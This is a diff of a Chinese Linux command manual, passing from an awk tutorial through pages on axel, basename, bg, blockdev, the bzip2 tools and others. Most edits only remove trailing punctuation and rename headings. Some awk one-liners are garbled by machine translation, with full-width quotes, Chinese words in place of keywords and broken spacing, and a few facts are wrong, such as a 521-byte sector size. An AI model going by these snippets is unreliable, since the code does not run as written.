+41,9 @@ gawk is a pattern scanning and processing language.By default it reads standard pattern可以是以下任意一个: -* /正则表达式/:使用通配符的扩展集。 -* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。 -* 模式匹配表达式:用运算符`~`(匹配)和`~!`(不匹配)。 +* /正则表达式/:使用通配符的扩展集 +* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试 +* 模式匹配表达式:用运算符`~`(匹配)和`~!`(不匹配) * BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理 ## 操作 @@ -61,9 +61,9 @@ pattern可以是以下任意一个: awk 'BEGIN{ commands } pattern{ commands } END{ commands }' ``` -* 第一步:执行`BEGIN{ commands }`语句块中的语句; -* 第二步:从文件或标准输入(stdin)读取一行,然后执行`pattern{ commands }`语句块,它逐行扫描文件,从第一行到最后一行重复
这个过程,直到文件全部被读取完毕。 -* 第三步:当读至输入流末尾时,执行`END{ commands }`语句块。 +* 第一步:执行`BEGIN{ commands }`语句块中的语句 +* 第二步:从文件或标准输入(stdin)读取一行,然后执行`pattern{ commands }`语句块,它逐行扫描文件,从第一行到最后一行重复
这个过程,直到文件全部被读取完毕 +* 第三步:当读至输入流末尾时,执行`END{ commands }`语句块 **BEGIN语句块** 在awk开始从输入流中读取行** 之前** 被执行,这是一个可选的语句块,比如变量初始化、打印输出表格的表头等 语句通常可以写在BEGIN语句块中 @@ -92,11 +92,11 @@ Start A line 1nA line 2 End -{ }类似一个循环体,会对文件中的每一行进行迭代,通常变量初始化语句(如:i=0)以及打印文件头部的语句放入BEGIN语句块中, -将打印的结果等语句放在END语句块中。 +{ }类似一个循环体,会对文件中的每一行进行迭代,通常变量初始化语句(如:i=0)以及打印文件头部的语句放入BEGIN语句块中 +将打印的结果等语句放在END语句块中 comment -# 当使用不带参数的`print`时,它就打印当前行,当`print`的参数是以逗号进行分隔时,打印时则以空格作为定界符。 +# 当使用不带参数的`print`时,它就打印当前行,当`print`的参数是以逗号进行分隔时,打印时则以空格作为定界符 # 在awk的print语句块中双引号是被当作拼接符使用,例如: echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }' # 输出:v1 v2 v3 echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }' # 双引号使用例子,输出:v1=v2=v3 @@ -107,7 +107,7 @@ echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }' # 说明:[A][N][P][G]表示第一个支持变量的工具,[A]=awk、[N]=nawk、[P]=POSIXawk、[G]=gawk 可自定义变量,变量可以是字符串或数值。输入字段的内容也可以分配给变量。为了更精确地控制输出格式而不是打印通常提供的 -输出格式,请使用printf。 printf命令可用于指定每个项目使用的字段宽度,以及数字的各种格式选择(例如要使用的输出基数, +输出格式,请使用printf。 printf命令可用于指定每个项目使用的字段宽度,以及数字的各种格式选择(例如要使用的输出基数 是否打印指数,是否打印标记以及数字位数在小数点后打印)。这是通过提供一个名为格式字符串的字符串来完成的,该字符串控 制打印其他参数的方式和位置 @@ -283,7 +283,7 @@ awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}' # 输出:1 ```bash # awk中next语句:在循环中逐行匹配遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并 -# 打印student.txt偶数行,并打印出对应的行号。解析:当记录行号除以2余1,就跳过当前行。print NR,$0也不会执行。 +# 打印student.txt偶数行,并打印出对应的行号。解析:当记录行号除以2余1,就跳过当前行。print NR,$0也不会执行 awk 'NR%2==1{next}{print NR,$0;}' student.txt # 匹配并跳过file文件以web行开头的行,然后将匹配到的行作为下面每行的开始并与下面每行合并为一行 @@ -291,17 +291,17 @@ awk '/^web/{T=$0;next;}{print T"\t"$0;}' file # 简单地读取一条记录 : << comment -awk getline用法:输出重定向需用到getline函数。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。 +awk getline用法:输出重定向需用到getline函数。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入 它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就 返回0,如果出现错误,例如打开文件失败,就返回-1 -getline语法:getline var,变量var包含了特定行的内容。 +getline语法:getline var,变量var包含了特定行的内容 awk getline从整体上来说,用法说明: 当其左右无重定向符 | 或 < 时:getline作用于当前文件,读入当前文件的第一行给其后跟的变量var或$0(无变量), 应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的 -当其左右有重定向符 | 或 < 时:getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行, +当其左右有重定向符 | 或 < 时:getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行 只是getline读入,那么getline返回的是该文件的第一行,而不是隔行 comment @@ -320,7 +320,7 @@ echo | awk '{printf("hello word!n") > "datafile"}' # awk中允许用如下方 ```bash # 关闭文件 # awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句 -# file可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件, +# file可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件 # 可以是stdout,包含文件名的变量或使用管道的确切命令,例如 echo "21 2 @@ -343,7 +343,7 @@ for(i in second) close("sort -n >> test.txt") ' : << comment -# 以上命令输出为,任何一个close都不能去掉,因为awk管道使用时,若不关闭将会被一致使用。 +# 以上命令输出为,任何一个close都不能去掉,因为awk管道使用时,若不关闭将会被一致使用 ======打印第1列并排序:=========== 3 17 @@ -370,8 +370,8 @@ comment ## 流程控制语句 ```bash -# awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。 -# break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型。 +# awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出 +# break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型 # 有了这些语句,其实很多shell程序都可以交给awk,而且性能是非常快的。下面是各个语句用法 # if条件判断语句,示例判断数字大小进行对应的输出,输出:very good @@ -475,7 +475,7 @@ awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";delete tB["a"];for(k in tB){print k,tB[k];} ### 二维、多维数组使用 -awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。 +awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式 例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(34)`作为分割字段,在上面的例子中,关联数组 array存储的键值实际上是2344(此处存疑,暂未实际验证) @@ -501,7 +501,7 @@ split(m,tarr2,SUBSEP); print tarr2[1],"*",tarr2[2],"=",tarr[m];}}' ## 内置函数 -awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数。 +awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数 ### 算术函数 @@ -561,7 +561,7 @@ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA ### 格式化字符串输出(sprintf使用) -格式化字符串格式:其中格式化字符串包括两部分内容:一部分是正常字符,这些字符将按原样输出; 另一部分是格式化规定字符, +格式化字符串格式:其中格式化字符串包括两部分内容:一部分是正常字符,这些字符将按原样输出; 另一部分是格式化规定字符 以`"%"`开始,后跟一个或几个规定字符,用来确定输出内容格式 | 格式 | 描述 | 格式 | 描述 | @@ -653,7 +653,7 @@ strftime日期和时间格式说明符 awk'1; {print“”}' awk'BEGIN {ORS =“\ n \ n”}; 1' -# 双空间的文件已经有空行。输出文件,在文本行之间应该包含不超过一个空白行。 +# 双空间的文件已经有空行。输出文件,在文本行之间应该包含不超过一个空白行 # 注意:在Unix系统上,只有CRLF(\ r \ n)的DOS行是经常被视为非空白,因此仅'NF'将返回TRUE awk'NF {print $ 0“\ n”}' @@ -717,7 +717,7 @@ awk'$ NF> 4' awk'BEGIN {while(a ++ <513)s = s“”; 打印s}' #在特定字符位置插入特定长度的字符串 -#示例:在每个输入行的#6列之后插入49个空格。 +#示例:在每个输入行的#6列之后插入49个空格 gawk --re-interval'BEGIN {while(a ++ <49)s = s“”}; {sub(/ ^。{6} /,“&”s)}; 1' ``` @@ -726,10 +726,10 @@ gawk --re-interval'BEGIN {while(a ++ <49)s = s“”}; {sub(/ ^。{6} /, ```sh #接下来的2个条目不是单行脚本,而是技术 -#非常方便,因此在这里值得一试。 +#非常方便,因此在这里值得一试 #创建一个名为“月”的数组,索引数字,以便该月[1] -#是'Jan',月份[2]是'Feb',月份[3]是'Mar'等等。 +#是'Jan',月份[2]是'Feb',月份[3]是'Mar'等等 拆分(“1月2月3月4月5月6月7月8月9月10月11月12月”,月,“”) #创建一个名为“mdigit”的数组,用字符串索引,这样 @@ -755,7 +755,7 @@ awk 1 #不能用DOS版本的awk完成,除了gawk: gawk -v BINMODE =“w”'1'infile> outfile -#使用“tr”代替。 +#使用“tr”代替 tr -d \ r outfile#GNU tr版本1.22或更高 #从每行前面删除前导空格(空格,制表符) @@ -846,7 +846,7 @@ awk'!/ regex /' awk'$ 5 ==“abc123”' #仅打印字段#5不等于“abc123”的行 -#这也将打印少于5个字段的行。 +#这也将打印少于5个字段的行 awk'$ 5!=“abc123”' awk'!($ 5 ==“abc123”)' @@ -917,7 +917,7 @@ awk '!($0 in array) { array[$0]; print }' temp 方法一: awk '{++S[$1]} END {for (variable in S) print variable ,S[variable]}' access.log |sort -rn -k2 -$1为第一个域的内容。-k2 为对第二个字段排序,即对数量排序。 +$1为第一个域的内容。-k2 为对第二个字段排序,即对数量排序 方法二: awk '{print $1}' access.log|sort|uniq -c |sort -rn -k1 diff --git a/Linux_man_cn/axel.md b/Linux_man_cn/axel.md index bd318eb..4dc7f53 100644 --- a/Linux_man_cn/axel.md +++ b/Linux_man_cn/axel.md @@ -5,13 +5,13 @@ axel ## 说明 -**axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。 +**axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快 ### 安装 CentOS安装Axel: -目前yum源上没有Axel,我们可以到http://pkgs.repoforge.org/axel/下载rpm包安装。 +目前yum源上没有Axel,我们可以到http://pkgs.repoforge.org/axel/下载rpm包安装 32位CentOS执行下面命令: @@ -33,7 +33,7 @@ Debian/Ubuntu安装Axel: apt-get install axel ``` -### 语法 +## 选项 ``` axel [options] url1 [url2] [url...] @@ -56,7 +56,7 @@ axel [options] url1 [url2] [url...] --version ,-V 版本信息 ``` -### 实例 +## 实例 如下载lnmp安装包指定10个线程,存到/tmp/: @@ -64,6 +64,6 @@ axel [options] url1 [url2] [url...] axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz ``` -如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。 +如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度 diff --git a/Linux_man_cn/basename.md b/Linux_man_cn/basename.md index 19210c4..70d9659 100644 --- a/Linux_man_cn/basename.md +++ b/Linux_man_cn/basename.md @@ -1,46 +1,26 @@ -basename -=== - -打印目录或者文件的基本名称 +# **basename** ## 说明 -**basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。 - -### 语法 - -``` -basename(选项)(参数) -``` - - - -``` ---help:显示帮助; ---version:显示版本号。 -``` - -### 参数 +**basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异 +的输出文件名称 -* 文件:带路径信息的文件; -* 后缀:可选参数,指定要去除的文件后缀字符串。 +## 选项 -### 实例 +```markdown +-a, --multiple support multiple arguments and treat each as a NAME +-s, --suffix=SUFFIX remove a trailing SUFFIX +-z, --zero separate output with NUL rather than newline -1、要显示一个shell变量的基本名称,请输入: - -``` -basename $WORKFILE ``` -此命令显示指定给shell变量WORKFILE的值的基本名称。如果WORKFILE变量的值是`/home/jim/program.c`文件,则此命令显示program.c。 +## 实例 -要构造一个和另一个文件名称相同(除了后缀)的文件名称,请输入: - -``` -OFILE=`basename $1 .c`.o +```bash +basename $WORKFILE # 显示一个shell变量的基本名称 +basename /usr/bin/sort # 输出 "sort" +basename include/stdio.h .h # 输出 "stdio" +basename -s .h include/stdio.h # 输出 "stdio" +basename -a any/str1 any/str2 # 输出 "str1" followed by "str2" ``` -此命令指定给 OFILE 文件第一个位置上的参数($1)的值,但它的 .c 后缀更改至 .o。如果 $1 是 /home/jim/program.c 文件,则 OFILE 成为 program.o。因为 program.o 仅是一个基本文件名称,它标识在当前目录中的文件。 - - diff --git a/Linux_man_cn/batch.md b/Linux_man_cn/batch.md index c054028..c4c750f 100644 --- a/Linux_man_cn/batch.md +++ b/Linux_man_cn/batch.md @@ -5,9 +5,9 @@ batch ## 说明 -**batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。 +**batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似 -### 语法 +## 选项 ``` batch(选项)(参数) @@ -16,16 +16,16 @@ batch(选项)(参数) ``` --f:指定包含具体指令的任务文件; --q:指定新任务的队列名称; --m:任务执行完后向用户发送E-mail。 +-f:指定包含具体指令的任务文件 +-q:指定新任务的队列名称 +-m:任务执行完后向用户发送E-mail ``` ### 参数 -日期时间:指定任务执行的日期时间。 +日期时间:指定任务执行的日期时间 -### 实例 +## 实例 ``` batch diff --git a/Linux_man_cn/bg.md b/Linux_man_cn/bg.md index a064213..c1400d0 100644 --- a/Linux_man_cn/bg.md +++ b/Linux_man_cn/bg.md @@ -5,11 +5,11 @@ bg ## 说明 -**bg命令** 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。 +**bg命令** 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行 -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成 -### 语法 +## 选项 ``` bg(参数) @@ -17,9 +17,9 @@ bg(参数) ### 参数 -作业标识:指定需要放到后台的作业标识号。 +作业标识:指定需要放到后台的作业标识号 -### 实例 +## 实例 使用bg命令将任务号为1的任务放到后台继续执行,输入如下命令: @@ -27,7 +27,7 @@ bg(参数) bg 1 #后台执行任务号为1的任务 ``` -如果系统中只有一个挂起的任务时,即使不为该命令设置参数"1",也可以实现这个功能。 +如果系统中只有一个挂起的任务时,即使不为该命令设置参数"1",也可以实现这个功能 注意:实际上,使用bg命令与在指令后面添加符号"&"的效果是一样的。例如,使用`&`将`find / -name password`放到后台执行,输入如下命令: diff --git a/Linux_man_cn/bind.md b/Linux_man_cn/bind.md index c3eb56e..ddc9c66 100644 --- a/Linux_man_cn/bind.md +++ b/Linux_man_cn/bind.md @@ -5,9 +5,9 @@ bind ## 说明 -**bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。 +**bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合 -### 语法 +## 选项 ``` bind(选项) @@ -16,15 +16,15 @@ bind(选项) ``` --d:显示按键配置的内容; --f<按键配置文件>:载入指定的按键配置文件; --l:列出所有的功能; --m<按键配置>:指定按键配置; --q<功能>:显示指定功能的按键; --v:列出目前的按键配置与其功能。 +-d:显示按键配置的内容 +-f<按键配置文件>:载入指定的按键配置文件 +-l:列出所有的功能 +-m<按键配置>:指定按键配置 +-q<功能>:显示指定功能的按键 +-v:列出目前的按键配置与其功能 ``` -### 实例 +## 实例 ``` bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 diff --git a/Linux_man_cn/blockdev.md b/Linux_man_cn/blockdev.md index 24c6278..7d30e5b 100644 --- a/Linux_man_cn/blockdev.md +++ b/Linux_man_cn/blockdev.md @@ -5,9 +5,9 @@ blockdev ## 说明 -**blockdev命令** 在命令调用“ioxtls”函数,以实现对设备的控制。 +**blockdev命令** 在命令调用“ioxtls”函数,以实现对设备的控制 -### 语法 +## 选项 ``` blockdev(选项)(参数) @@ -16,22 +16,22 @@ blockdev(选项)(参数) 选项 ``` --V:打印版本号并退出; --q:安静模式; --v:详细信息模式; ---setro:只读; ---setrw:只写; ---getro:打印只读状态,“1”表示只读,“0”表示非只读; ---getss:打印扇区大小。通常为521; ---flushbufs:刷新缓冲区; ---rereadpt:重新读取分区表。 +-V:打印版本号并退出 +-q:安静模式 +-v:详细信息模式 +--setro:只读 +--setrw:只写 +--getro:打印只读状态,“1”表示只读,“0”表示非只读 +--getss:打印扇区大小。通常为521 +--flushbufs:刷新缓冲区 +--rereadpt:重新读取分区表 ``` ### 参数 -设备文件名:指定要操作的磁盘的设备文件名。 +设备文件名:指定要操作的磁盘的设备文件名 -### 实例 +## 实例 设置设备为只读: diff --git a/Linux_man_cn/bmodinfo.md b/Linux_man_cn/bmodinfo.md index b4ce245..3e6767e 100644 --- a/Linux_man_cn/bmodinfo.md +++ b/Linux_man_cn/bmodinfo.md @@ -5,9 +5,9 @@ bmodinfo ## 说明 -**bmodinfo命令** 用于显示给定模块的详细信息。 +**bmodinfo命令** 用于显示给定模块的详细信息 -### 语法 +## 选项 ``` bmodinfo(选项)(参数) @@ -16,19 +16,19 @@ bmodinfo(选项)(参数) ``` --a:显示模块作者; --d:显示模块的描述信息; --l:显示模块的许可信息; --p:显示模块的参数信息; --n:显示模块对应的文字信息; --0:用ASCII码的0字符分割字段值,而不使用新行。 +-a:显示模块作者 +-d:显示模块的描述信息 +-l:显示模块的许可信息 +-p:显示模块的参数信息 +-n:显示模块对应的文字信息 +-0:用ASCII码的0字符分割字段值,而不使用新行 ``` ### 参数 -模块名:要显示详细信息的模块名称。 +模块名:要显示详细信息的模块名称 -### 实例 +## 实例 显示sg模块的信息: diff --git a/Linux_man_cn/builtin.md b/Linux_man_cn/builtin.md index f096595..42e3510 100644 --- a/Linux_man_cn/builtin.md +++ b/Linux_man_cn/builtin.md @@ -5,9 +5,9 @@ builtin ## 说明 -**builtin命令** 用于执行指定的shell内部命令,并返回内部命令的返回值。builtin命令在使用时,将不能够再使用Linux中的外部命令。当系统中定义了与shell内部命令相同的函数时,使用builtin显式地执行shell内部命令,从而忽略定义的shell函数。 +**builtin命令** 用于执行指定的shell内部命令,并返回内部命令的返回值。builtin命令在使用时,将不能够再使用Linux中的外部命令。当系统中定义了与shell内部命令相同的函数时,使用builtin显式地执行shell内部命令,从而忽略定义的shell函数 -### 语法 +## 选项 ``` builtin(参数) @@ -15,9 +15,9 @@ builtin(参数) ### 参数 -shell内部命令:指定需要执行的shell内部命令。 +shell内部命令:指定需要执行的shell内部命令 -### 实例 +## 实例 使用builtin命令执行shell内部命alias显示命令别名,输入如下命令: @@ -32,6 +32,6 @@ alias rm='rm -i' alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' ``` -上面的命令执行后,将输出当前系统下的命令别名。 +上面的命令执行后,将输出当前系统下的命令别名 diff --git a/Linux_man_cn/bunzip2.md b/Linux_man_cn/bunzip2.md index 4571b47..cfeeddd 100644 --- a/Linux_man_cn/bunzip2.md +++ b/Linux_man_cn/bunzip2.md @@ -5,9 +5,9 @@ bunzip2 ## 说明 -**bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接,即软链接,因此压缩解压都可以通过bzip2实现。 +**bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接,即软链接,因此压缩解压都可以通过bzip2实现 -### 语法 +## 选项 ``` bunzip2(选项)(参数) @@ -16,25 +16,25 @@ bunzip2(选项)(参数) ``` --f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件; --k或——keep:在解压缩后,预设会删除原来的压缩文件。若要保留压缩文件,请使用此参数; --s或——small:降低程序执行时,内存的使用量; --v或——verbose:解压缩文件时,显示详细的信息; --l,--license,-V或——version:显示版本信息。 +-f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件 +-k或——keep:在解压缩后,预设会删除原来的压缩文件。若要保留压缩文件,请使用此参数 +-s或——small:降低程序执行时,内存的使用量 +-v或——verbose:解压缩文件时,显示详细的信息 +-l,--license,-V或——version:显示版本信息 ``` ### 参数 -.bz2压缩包:指定需要解压缩的.bz2压缩包。 +.bz2压缩包:指定需要解压缩的.bz2压缩包 -### 实例 +## 实例 -将`/opt`目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息。 +将`/opt`目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息 ``` bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip ``` -压缩完毕后,在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。 +压缩完毕后,在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件 diff --git a/Linux_man_cn/bye.md b/Linux_man_cn/bye.md index 9ac4bd6..6e598ef 100644 --- a/Linux_man_cn/bye.md +++ b/Linux_man_cn/bye.md @@ -1,20 +1,20 @@ bye === -命令用于中断FTP连线并结束程序。。 +命令用于中断FTP连线并结束程序。 ## 说明 -**bye命令** 在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行。 +**bye命令** 在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行 -### 语法 +## 选项 ``` bye ``` -### 实例 +## 实例 ``` bye diff --git a/Linux_man_cn/bzcat.md b/Linux_man_cn/bzcat.md index 3b4b202..f37d139 100644 --- a/Linux_man_cn/bzcat.md +++ b/Linux_man_cn/bzcat.md @@ -5,9 +5,9 @@ bzcat ## 说明 -**bzcat命令** 解压缩指定的.bz2文件,并显示解压缩后的文件内容。保留原压缩文件,并且不生成解压缩后的文件。 +**bzcat命令** 解压缩指定的.bz2文件,并显示解压缩后的文件内容。保留原压缩文件,并且不生成解压缩后的文件 -### 语法 +## 选项 ``` bzcat(参数) @@ -15,9 +15,9 @@ bzcat(参数) ### 参数 -.bz2压缩文件:指定要显示内容的.bz2压缩文件。 +.bz2压缩文件:指定要显示内容的.bz2压缩文件 -### 实例 +## 实例 将`/tmp/man.config`以bzip2格式压缩: @@ -33,6 +33,6 @@ bzip2 -z man.config bzcat man.config.bz2 ``` -此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容。 +此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容 diff --git a/Linux_man_cn/bzcmp.md b/Linux_man_cn/bzcmp.md index 3a1ce62..7909243 100644 --- a/Linux_man_cn/bzcmp.md +++ b/Linux_man_cn/bzcmp.md @@ -5,9 +5,9 @@ bzcmp ## 说明 -**bzcmp命令** 主要功能是在不真正解压缩.bz2压缩包的情况下,比较两个压缩包中的文件,省去了解压缩后在调用cmp命令的过程。 +**bzcmp命令** 主要功能是在不真正解压缩.bz2压缩包的情况下,比较两个压缩包中的文件,省去了解压缩后在调用cmp命令的过程 -### 语法 +## 选项 ``` bzcmp(参数) @@ -15,7 +15,7 @@ bzcmp(参数) ### 参数 -* 文件1:指定要比较的第一个.bz2压缩包; -* 文件2:指定要比较的第二个.bz2压缩包。 +* 文件1:指定要比较的第一个.bz2压缩包 +* 文件2:指定要比较的第二个.bz2压缩包 diff --git a/Linux_man_cn/bzdiff.md b/Linux_man_cn/bzdiff.md index 398ff0b..7392ea3 100644 --- a/Linux_man_cn/bzdiff.md +++ b/Linux_man_cn/bzdiff.md @@ -5,9 +5,9 @@ bzdiff ## 说明 -**bzdiff命令** 用于直接比较两个“.bz2”压缩包中文件的不同,省去了解压缩后再调用diff命令的过程。 +**bzdiff命令** 用于直接比较两个“.bz2”压缩包中文件的不同,省去了解压缩后再调用diff命令的过程 -### 语法 +## 选项 ``` bzdiff(参数) @@ -15,7 +15,7 @@ bzdiff(参数) ### 参数 -* 文件1:指定要比较的第一个.bz2压缩包; -* 文件2:指定要比较的第二个.bz2压缩包。 +* 文件1:指定要比较的第一个.bz2压缩包 +* 文件2:指定要比较的第二个.bz2压缩包 diff --git a/Linux_man_cn/bzgrep.md b/Linux_man_cn/bzgrep.md index b23340f..24f0f65 100644 --- a/Linux_man_cn/bzgrep.md +++ b/Linux_man_cn/bzgrep.md @@ -5,9 +5,9 @@ bzgrep ## 说明 -**bzgrep命令** 使用正则表达式搜索“.bz2”压缩包中文件,将匹配的行显示到标注输出。 +**bzgrep命令** 使用正则表达式搜索“.bz2”压缩包中文件,将匹配的行显示到标注输出 -### 语法 +## 选项 ``` bzgrep(参数) @@ -15,7 +15,7 @@ bzgrep(参数) ### 参数 -* 搜索模式:指定要搜索的模式; -* .bz2文件:指定要搜索的.bz2压缩包。 +* 搜索模式:指定要搜索的模式 +* .bz2文件:指定要搜索的.bz2压缩包 diff --git a/Linux_man_cn/bzip2recover.md b/Linux_man_cn/bzip2recover.md index 8ac879d..2cdcab6 100644 --- a/Linux_man_cn/bzip2recover.md +++ b/Linux_man_cn/bzip2recover.md @@ -5,11 +5,11 @@ bzip2recover ## 说明 -**bzip2recover命令** 可用于恢复被破坏的“.bz2”压缩包中的文件。 +**bzip2recover命令** 可用于恢复被破坏的“.bz2”压缩包中的文件 -bzip2是以区块的方式来压缩文件,每个区块视为独立的单位。因此,当某一区块损坏时,便可利用bzip2recover,试着将文件中的区块隔开来,以便解压缩正常的区块。通常只适用在压缩文件很大的情况。 +bzip2是以区块的方式来压缩文件,每个区块视为独立的单位。因此,当某一区块损坏时,便可利用bzip2recover,试着将文件中的区块隔开来,以便解压缩正常的区块。通常只适用在压缩文件很大的情况 -### 语法 +## 选项 ``` bzip2recover(参数) @@ -17,6 +17,6 @@ bzip2recover(参数) ### 参数 -文件:指定要恢复数据的.bz2压缩包。 +文件:指定要恢复数据的.bz2压缩包 diff --git a/Linux_man_cn/bzless.md b/Linux_man_cn/bzless.md index 152f3c4..e7977c2 100644 --- a/Linux_man_cn/bzless.md +++ b/Linux_man_cn/bzless.md @@ -5,9 +5,9 @@ bzless ## 说明 -**bzless命令** 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。 +**bzless命令** 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大 -### 语法 +## 选项 ``` bzless(参数) @@ -15,6 +15,6 @@ bzless(参数) ### 参数 -文件:指定要分屏显示的.bz2压缩包。 +文件:指定要分屏显示的.bz2压缩包 diff --git a/Linux_man_cn/bzmore.md b/Linux_man_cn/bzmore.md index 5354c4f..53ee4c2 100644 --- a/Linux_man_cn/bzmore.md +++ b/Linux_man_cn/bzmore.md @@ -5,9 +5,9 @@ bzmore ## 说明 -**bzmore命令** 用于查看bzip2压缩过的文本文件的内容,当下一屏显示不下时可以实现分屏显示。 +**bzmore命令** 用于查看bzip2压缩过的文本文件的内容,当下一屏显示不下时可以实现分屏显示 -### 语法 +## 选项 ``` bzmore(参数) @@ -15,6 +15,6 @@ bzmore(参数) ### 参数 -文件:指定要分屏显示的.bz2压缩包。 +文件:指定要分屏显示的.bz2压缩包 diff --git a/Linux_man_cn/cancel.md b/Linux_man_cn/cancel.md index bd437d1..b6ebb31 100644 --- a/Linux_man_cn/cancel.md +++ b/Linux_man_cn/cancel.md @@ -5,9 +5,9 @@ cancel ## 说明 -**cancel命令** 用于取消已存在的打印任务。 +**cancel命令** 用于取消已存在的打印任务 -### 语法 +## 选项 ``` cancel(选项)(参数) @@ -16,15 +16,15 @@ cancel(选项)(参数) ``` --a:取消所有打印任务; --E:当连接到服务器时强制使用加密; --U:指定连接服务器时使用的用户名; --u:指定打印任务所属的用户; --h:指定连接的服务器名和端口号。 +-a:取消所有打印任务 +-E:当连接到服务器时强制使用加密 +-U:指定连接服务器时使用的用户名 +-u:指定打印任务所属的用户 +-h:指定连接的服务器名和端口号 ``` ### 参数 -打印任务号:指定要取消的打印任务编号。 +打印任务号:指定要取消的打印任务编号 diff --git a/Linux_man_cn/cdrecord.md b/Linux_man_cn/cdrecord.md index f6d654c..475a3a6 100644 --- a/Linux_man_cn/cdrecord.md +++ b/Linux_man_cn/cdrecord.md @@ -5,9 +5,9 @@ Linux系统下光盘刻录功能命令 ## 说明 -**cdrecord命令** 